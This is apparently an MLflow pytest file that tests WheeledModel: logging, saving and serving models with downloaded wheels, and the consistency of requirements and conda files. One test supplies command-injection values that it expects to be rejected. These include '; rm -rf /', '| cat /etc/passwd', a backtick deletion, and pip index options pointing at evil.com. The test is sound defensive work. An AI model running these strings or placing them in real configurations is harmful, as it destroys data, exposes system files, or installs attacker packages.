Files
2026-07-13 13:22:34 +08:00

509 lines
18 KiB
Python

import os
import random
import re
from io import BytesIO
from typing import Any, NamedTuple
from unittest import mock
import numpy as np
import pandas as pd
import pytest
import sklearn.linear_model as logreg_module
import yaml
from sklearn import datasets
import mlflow
import mlflow.pyfunc.scoring_server as pyfunc_scoring_server
from mlflow.exceptions import MlflowException
from mlflow.models.model import METADATA_FILES
from mlflow.models.utils import load_serving_example
from mlflow.models.wheeled_model import _ORIGINAL_REQ_FILE_NAME, _WHEELS_FOLDER_NAME, WheeledModel
from mlflow.pyfunc.model import MLMODEL_FILE_NAME, Model
from mlflow.store.artifact.utils.models import _improper_model_uri_msg
from mlflow.tracking.artifact_utils import _download_artifact_from_uri
from mlflow.utils.environment import (
_CONDA_ENV_FILE_NAME,
_REQUIREMENTS_FILE_NAME,
_is_pip_deps,
_mlflow_conda_env,
)
from tests.helper_functions import (
_is_available_on_pypi,
_mlflow_major_version_string,
pyfunc_serve_and_score_model,
)
EXTRA_PYFUNC_SERVING_TEST_ARGS = (
[] if _is_available_on_pypi("scikit-learn", module="sklearn") else ["--env-manager", "local"]
)
class ModelWithData(NamedTuple):
model: Any
inference_data: Any
@pytest.fixture(scope="module")
def sklearn_knn_model():
iris = datasets.load_iris()
X = iris.data[:, :2] # we only take the first two features.
y = iris.target
logreg_model = logreg_module.LogisticRegression()
logreg_model.fit(X, y)
return ModelWithData(model=logreg_model, inference_data=X)
def random_int(lo=1, hi=1000000000):
return random.randint(int(lo), int(hi))
def _get_list_from_file(path):
with open(path) as file:
return file.read().splitlines()
def _get_pip_requirements_list(path):
return _get_list_from_file(path)
def get_pip_requirements_from_conda_file(conda_env_path):
with open(conda_env_path) as f:
conda_env = yaml.safe_load(f)
conda_pip_requirements_list = []
dependencies = conda_env.get("dependencies")
for dependency in dependencies:
if _is_pip_deps(dependency):
conda_pip_requirements_list = dependency["pip"]
return conda_pip_requirements_list
def validate_updated_model_file(original_model_config, wheeled_model_config):
differing_keys = {"run_id", "utc_time_created", "model_uuid", "artifact_path"}
ignore_keys = {"model_id"}
# Compare wheeled model configs with original model config (MLModel files)
for key in original_model_config.keys() - ignore_keys:
if key not in differing_keys:
assert wheeled_model_config[key] == original_model_config[key]
else:
assert wheeled_model_config[key] != original_model_config[key]
# Wheeled model key should only exist in wheeled_model_config
assert wheeled_model_config.get(_WHEELS_FOLDER_NAME, None)
assert not original_model_config.get(_WHEELS_FOLDER_NAME, None)
# Every key in the original config should also exist in the wheeled config.
for key in original_model_config:
assert key in wheeled_model_config
def validate_updated_conda_dependencies(original_model_path, wheeled_model_path):
# Check if conda.yaml files of the original model and wheeled model are the same
# excluding the dependencies
wheeled_model_path = os.path.join(wheeled_model_path, _CONDA_ENV_FILE_NAME)
original_conda_env_path = os.path.join(original_model_path, _CONDA_ENV_FILE_NAME)
with (
open(wheeled_model_path) as wheeled_conda_env,
open(original_conda_env_path) as original_conda_env,
):
wheeled_conda_env = yaml.safe_load(wheeled_conda_env)
original_conda_env = yaml.safe_load(original_conda_env)
for key in wheeled_conda_env:
if key != "dependencies":
assert wheeled_conda_env[key] == original_conda_env[key]
else:
assert wheeled_conda_env[key] != original_conda_env[key]
def validate_wheeled_dependencies(wheeled_model_path):
# Check if conda.yaml and requirements.txt are consistent
pip_requirements_path = os.path.join(wheeled_model_path, _REQUIREMENTS_FILE_NAME)
pip_requirements_list = _get_pip_requirements_list(pip_requirements_path)
conda_pip_requirements_list = get_pip_requirements_from_conda_file(
os.path.join(wheeled_model_path, _CONDA_ENV_FILE_NAME)
)
pip_requirements_list.sort()
conda_pip_requirements_list.sort()
assert pip_requirements_list == conda_pip_requirements_list
# Check if requirements.txt and wheels directory are consistent
wheels_dir = os.path.join(wheeled_model_path, _WHEELS_FOLDER_NAME)
wheels_list = []
for wheel_file in os.listdir(wheels_dir):
if wheel_file.endswith(".whl"):
relative_wheel_path = os.path.join(_WHEELS_FOLDER_NAME, wheel_file)
wheels_list.append(relative_wheel_path)
wheels_list.sort()
assert wheels_list == pip_requirements_list
def test_model_log_load(tmp_path, sklearn_knn_model):
model_name = f"wheels-test-{random_int()}"
model_uri = f"models:/{model_name}/1"
wheeled_model_uri = f"models:/{model_name}/2"
artifact_path = "model"
# Log a model
with mlflow.start_run():
mlflow.sklearn.log_model(
sklearn_knn_model.model,
name=artifact_path,
registered_model_name=model_name,
)
model_path = _download_artifact_from_uri(model_uri, tmp_path)
original_model_config = Model.load(os.path.join(model_path, MLMODEL_FILE_NAME)).__dict__
# Re-log with wheels
with mlflow.start_run():
WheeledModel.log_model(model_uri=model_uri)
wheeled_model_path = _download_artifact_from_uri(wheeled_model_uri)
wheeled_model_run_id = mlflow.tracking.fluent._get_or_start_run().info.run_id
wheeled_model_config = Model.load(
os.path.join(wheeled_model_path, MLMODEL_FILE_NAME)
).__dict__
validate_updated_model_file(original_model_config, wheeled_model_config)
# Assert correct run_id
assert wheeled_model_config["run_id"] == wheeled_model_run_id
validate_updated_conda_dependencies(model_path, wheeled_model_path)
validate_wheeled_dependencies(wheeled_model_path)
def test_model_save_load(tmp_path, sklearn_knn_model):
model_name = f"wheels-test-{random_int()}"
model_uri = f"models:/{model_name}/1"
artifact_path = "model"
model_download_path = os.path.join(tmp_path, "m")
wheeled_model_path = os.path.join(tmp_path, "wm")
os.mkdir(model_download_path)
# Log a model
with mlflow.start_run():
mlflow.sklearn.log_model(
sklearn_knn_model.model,
name=artifact_path,
registered_model_name=model_name,
)
model_path = _download_artifact_from_uri(model_uri, model_download_path)
original_model_config = Model.load(os.path.join(model_path, MLMODEL_FILE_NAME)).__dict__
# Save with wheels
with mlflow.start_run():
wheeled_model = WheeledModel(model_uri=model_uri)
wheeled_model_data = wheeled_model.save_model(path=wheeled_model_path)
wheeled_model_config = Model.load(os.path.join(wheeled_model_path, MLMODEL_FILE_NAME))
wheeled_model_config_dict = wheeled_model_config.__dict__
# Check to see if python model returned is the same as the MLModel file
assert wheeled_model_config == wheeled_model_data
validate_updated_model_file(original_model_config, wheeled_model_config_dict)
validate_updated_conda_dependencies(model_path, wheeled_model_path)
validate_wheeled_dependencies(wheeled_model_path)
def test_logging_and_saving_wheeled_model_throws(tmp_path, sklearn_knn_model):
model_name = f"wheels-test-{random_int()}"
model_uri = f"models:/{model_name}/1"
wheeled_model_uri = f"models:/{model_name}/2"
artifact_path = "model"
# Log a model
with mlflow.start_run():
mlflow.sklearn.log_model(
sklearn_knn_model.model,
name=artifact_path,
registered_model_name=model_name,
)
# Re-log with wheels
with mlflow.start_run():
WheeledModel.log_model(
model_uri=model_uri,
)
match = "Model libraries are already added"
# Log wheeled model
with pytest.raises(MlflowException, match=re.escape(match)):
with mlflow.start_run():
WheeledModel.log_model(
model_uri=wheeled_model_uri,
)
# Saved a wheeled model
saved_model_path = os.path.join(tmp_path, "test")
with pytest.raises(MlflowException, match=re.escape(match)):
with mlflow.start_run():
WheeledModel(wheeled_model_uri).save_model(saved_model_path)
def test_log_model_with_non_model_uri():
model_uri = "runs:/beefe0b6b5bd4acf9938244cdc006b64/model"
# Log with wheels
with pytest.raises(MlflowException, match=_improper_model_uri_msg(model_uri)):
with mlflow.start_run():
WheeledModel.log_model(
model_uri=model_uri,
)
# Save with wheels
with pytest.raises(MlflowException, match=_improper_model_uri_msg(model_uri)):
with mlflow.start_run():
WheeledModel(model_uri)
def test_create_pip_requirement(tmp_path):
expected_mlflow_version = _mlflow_major_version_string()
model_name = f"wheels-test-{random_int()}"
model_uri = f"models:/{model_name}/1"
conda_env_path = os.path.join(tmp_path, "conda.yaml")
pip_reqs_path = os.path.join(tmp_path, "requirements.txt")
wm = WheeledModel(model_uri)
expected_pip_deps = [expected_mlflow_version, "cloudpickle==2.1.0", "psutil==5.8.0"]
_mlflow_conda_env(
path=conda_env_path, additional_pip_deps=expected_pip_deps, install_mlflow=False
)
wm._create_pip_requirement(conda_env_path, pip_reqs_path)
with open(pip_reqs_path) as f:
pip_reqs = [x.strip() for x in f]
assert expected_pip_deps.sort() == pip_reqs.sort()
def test_update_conda_env_only_updates_pip_deps(tmp_path):
expected_mlflow_version = _mlflow_major_version_string()
model_name = f"wheels-test-{random_int()}"
model_uri = f"models:/{model_name}/1"
conda_env_path = os.path.join(tmp_path, "conda.yaml")
pip_deps = [expected_mlflow_version, "cloudpickle==2.1.0", "psutil==5.8.0"]
new_pip_deps = ["wheels/mlflow", "wheels/cloudpickle", "wheels/psutil"]
wm = WheeledModel(model_uri)
additional_conda_deps = ["add_conda_deps"]
additional_conda_channels = ["add_conda_channels"]
_mlflow_conda_env(
conda_env_path,
additional_conda_deps,
pip_deps,
additional_conda_channels,
install_mlflow=False,
)
with open(conda_env_path) as f:
old_conda_yaml = yaml.safe_load(f)
wm._update_conda_env(new_pip_deps, conda_env_path)
with open(conda_env_path) as f:
new_conda_yaml = yaml.safe_load(f)
assert old_conda_yaml.get("name") == new_conda_yaml.get("name")
assert old_conda_yaml.get("channels") == new_conda_yaml.get("channels")
for old_item, new_item in zip(
old_conda_yaml.get("dependencies"), new_conda_yaml.get("dependencies")
):
if isinstance(old_item, str):
assert old_item == new_item
if isinstance(old_item, dict):
assert old_item.get("pip") == pip_deps
if isinstance(new_item, dict):
assert new_item.get("pip") == new_pip_deps
def test_serving_wheeled_model(sklearn_knn_model):
model_name = f"wheels-test-{random_int()}"
model_uri = f"models:/{model_name}/1"
wheeled_model_uri = f"models:/{model_name}/2"
artifact_path = "model"
(model, inference_data) = sklearn_knn_model
# Log a model
with mlflow.start_run():
model_info = mlflow.sklearn.log_model(
model,
name=artifact_path,
registered_model_name=model_name,
input_example=pd.DataFrame(inference_data),
)
# Re-log with wheels
with mlflow.start_run():
WheeledModel.log_model(model_uri=model_uri)
inference_payload = load_serving_example(model_info.model_uri)
resp = pyfunc_serve_and_score_model(
wheeled_model_uri,
data=inference_payload,
content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
extra_args=EXTRA_PYFUNC_SERVING_TEST_ARGS,
)
scores = pd.read_json(BytesIO(resp.content), orient="records").values.squeeze()
np.testing.assert_array_almost_equal(scores, model.predict(inference_data))
def test_wheel_download_works(tmp_path):
simple_dependency = "cloudpickle"
requirements_file = os.path.join(tmp_path, "req.txt")
wheel_dir = os.path.join(tmp_path, "wheels")
with open(requirements_file, "w") as req_file:
req_file.write(simple_dependency)
WheeledModel._download_wheels(requirements_file, wheel_dir)
wheels = os.listdir(wheel_dir)
assert len(wheels) == 1 # Only a single wheel is downloaded
assert wheels[0].endswith(".whl") # Type is wheel
assert simple_dependency in wheels[0] # Cloudpickle wheel downloaded
def test_wheel_download_override_option_works(tmp_path, monkeypatch):
dependency = "pyspark"
requirements_file = os.path.join(tmp_path, "req.txt")
wheel_dir = os.path.join(tmp_path, "wheels")
with open(requirements_file, "w") as req_file:
req_file.write(dependency)
# Default option fails to download wheel
with pytest.raises(
MlflowException, match="An error occurred while downloading the dependency wheels"
):
WheeledModel._download_wheels(requirements_file, wheel_dir)
# Set option override
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", "--prefer-binary")
WheeledModel._download_wheels(requirements_file, wheel_dir)
assert len(os.listdir(wheel_dir)) # Wheel dir is not empty
def test_wheel_download_dependency_conflicts(tmp_path):
reqs_file = tmp_path / "requirements.txt"
reqs_file.write_text("mlflow==2.15.0\nmlflow==2.16.0")
with pytest.raises(
MlflowException,
# Ensure the error message contains conflict details
match=r"Cannot install mlflow==2\.15\.0 and mlflow==2\.16\.0.+The conflict is caused by",
):
WheeledModel._download_wheels(reqs_file, tmp_path / "wheels")
def test_copy_metadata(mock_is_in_databricks, sklearn_knn_model):
with mlflow.start_run():
mlflow.sklearn.log_model(
sklearn_knn_model.model,
name="model",
registered_model_name="sklearn_knn_model",
)
with mlflow.start_run():
model_info = WheeledModel.log_model(model_uri="models:/sklearn_knn_model/1")
artifact_path = mlflow.artifacts.download_artifacts(model_info.model_uri)
metadata_path = os.path.join(artifact_path, "metadata")
if mock_is_in_databricks.return_value:
assert set(os.listdir(metadata_path)) == set(METADATA_FILES + [_ORIGINAL_REQ_FILE_NAME])
else:
assert not os.path.exists(metadata_path)
assert mock_is_in_databricks.call_count == 2
def test_wheel_download_prevents_command_injection(tmp_path, monkeypatch):
malicious_attempts = [
"--only-binary=:all: && echo pwned",
"--prefer-binary; rm -rf /",
"--no-binary=:none: | cat /etc/passwd",
"../../../etc/passwd",
"--extra-index-url http://evil.com",
"--find-links /tmp",
"--index-url http://malicious.com",
"--trusted-host evil.com",
"--only-binary=package`rm -rf /`",
"--config-settings malicious=value",
]
for malicious_option in malicious_attempts:
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", malicious_option)
with pytest.raises(MlflowException, match="Invalid pip wheel option"):
WheeledModel._download_wheels(tmp_path / "req.txt", tmp_path / "wheels")
def test_wheel_download_allowed_options(tmp_path, monkeypatch):
allowed_options = [
"--only-binary=:all:",
"--only-binary=:none:",
"--no-binary=:all:",
"--no-binary=:none:",
"--prefer-binary",
"--no-build-isolation",
"--use-pep517",
"--check-build-dependencies",
"--ignore-requires-python",
"--no-deps",
"--no-verify",
"--pre",
"--require-hashes",
"--no-clean",
]
for option in allowed_options:
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", option)
with mock.patch("subprocess.run") as mock_run:
WheeledModel._download_wheels(tmp_path / "req.txt", tmp_path / "wheels")
mock_run.assert_called_once()
assert option in mock_run.call_args[0][0]
# test combination of options
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", "--prefer-binary --no-clean")
with mock.patch("subprocess.run") as mock_run:
WheeledModel._download_wheels(tmp_path / "req.txt", tmp_path / "wheels")
mock_run.assert_called_once()
call_args = mock_run.call_args
assert "--prefer-binary --no-clean" in call_args[0][0]
def test_wheel_download_extra_envs(tmp_path, monkeypatch):
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", "--prefer-binary")
extra_envs = {
"PIP_INDEX_URL": "https://test.pypi.org/simple/",
"PIP_TRUSTED_HOST": "test.pypi.org",
"CUSTOM_VAR": "test_value",
}
with mock.patch("subprocess.run") as mock_run:
mock_run.return_value = mock.Mock(returncode=0)
WheeledModel._download_wheels(
tmp_path / "req.txt", tmp_path / "wheels", extra_envs=extra_envs
)
mock_run.assert_called_once()
call_args = mock_run.call_args
assert "--prefer-binary" in call_args[0][0]
passed_env = call_args[1]["env"]
assert passed_env["PIP_INDEX_URL"] == "https://test.pypi.org/simple/"
assert passed_env["PIP_TRUSTED_HOST"] == "test.pypi.org"
assert passed_env["CUSTOM_VAR"] == "test_value"
# Verify original environment variables are preserved
assert passed_env["PATH"] == os.environ["PATH"]
def test_wheel_download_no_extra_envs(tmp_path, monkeypatch):
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", "--prefer-binary")
with mock.patch("subprocess.run") as mock_run:
mock_run.return_value = mock.Mock(returncode=0)
WheeledModel._download_wheels(tmp_path / "req.txt", tmp_path / "wheels", extra_envs=None)
mock_run.assert_called_once()
call_args = mock_run.call_args
assert call_args[1]["env"] is None